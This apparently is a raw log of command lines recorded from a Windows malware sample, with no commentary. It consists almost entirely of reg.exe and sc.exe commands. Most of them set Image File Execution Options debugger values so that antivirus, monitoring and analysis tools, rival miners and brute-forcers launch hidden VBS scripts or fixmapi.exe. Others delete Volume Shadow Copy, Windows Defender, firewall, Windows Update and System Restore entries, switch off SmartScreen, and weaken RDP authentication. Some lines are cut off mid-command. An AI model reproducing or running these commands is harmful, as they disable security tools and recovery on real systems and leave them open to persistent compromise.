'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WindowsUpdate.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Control Panel\International" /v sDate /t REG_SZ /d "." /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute 1.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Private Keeper.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ess.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Process Explorer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dr.Web.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\massscan_launcher.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.v...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDP Brute_Cracked.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McUICnt.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NL.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\find.exe' "5.1"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Suo12_StartupManager.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.v...
'%WINDIR%\syswow64\cmd.exe' /S /D /c" ver"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear5.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareDesktop.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.2.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EnterpriseConsole.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.v...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lamescan3.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartupChecker.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetMonitor.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESETPoweliksCleaner.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDSC.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\revshow.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgarkt.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brute.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spydetector323eng.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gsam.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cureit.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Control Panel\International" /v sShortDate /t REG_SZ /d "dd.MM.yyyy" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0x00000000 /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\VSS" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\cbVSCService11" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\Windows Security" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\Windows RDP" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\CobianBackup11" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\Windows Services" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\Windows IE" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\vmicvss" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\WPS" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\BootDriver" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}" /v "IsInstalled" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\VSS" /v "ImagePath" /t REG_SZ /d "about:blank" /f
'%WINDIR%\syswow64\sc.exe' delete VSS
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\sr" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /f
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 1
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\MpsSvc" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}" /v "IsInstalled" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /t REG_DWORD /d 0x00000001 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0x00000000 /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\wuauserv" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideSCAHealth /t REG_DWORD /d 0x00000001 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 0x00000001 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /t REG_DWORD /d 0x00000001 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\0" /v "Version" /t REG_DWORD /d "196611" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Extension-List\{00000000-0000-0000-0000-000000000000}" /v "StartTimeLo" /t REG_DWORD /d "2386147405" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Extension-List\{00000000-0000-0000-0000-000000000000}" /v "EndTimeLo" /t REG_DWORD /d "2387249407" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\WinDefend" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "about:blank" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\services\swprv" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\GPO-List\0" /v "Version" /t REG_DWORD /d "196611" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\ControlSet001\services\SharedAccess\Epoch" /v "Epoch" /t REG_DWORD /d "9412" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch" /v "Epoch" /t REG_DWORD /d "9412" /f
'%WINDIR%\syswow64\reg.exe' add "HKU\S-1-5-21-1252767878-4065156067-3399968500-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count" /v "P:\FUNER\Iveghny\Ertfubg....
'%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "about:blank" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Status\GPExtensions\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" /v "LastPolicyTime" /t REG_DWORD /d "19856934" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "UserAuthentication" /t REG_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x00000000 /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EmailSpider.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IObitUninstaler.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smBootTime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefsh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPatrol.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmsh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForServiceApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jingling.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cgminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ServiceApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ciprotect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IProtectorService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftPage.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcefrend.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\apgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfblock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auditd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointintegration.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\epag.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSROL.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVENGINE.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProxy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInspRep.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInsp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fwnrww.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secscan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nssm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmvp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuaudt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssrs.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe" /v "debugger" /t REG_SZ /d "ipz2.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe" /v "debugger" /t REG_SZ /d "ipz.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updateservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdhtr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeter.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPortScan3.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Cain.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDPSS.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safesurf.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpvcon.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xscan_gui.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MailCracker.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNT.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stinger.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MvtApp.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\restarter_x64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASMAIN.EXE" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoDENGI.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUB8.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pex.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tcpview.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brutb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rootkitremover.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
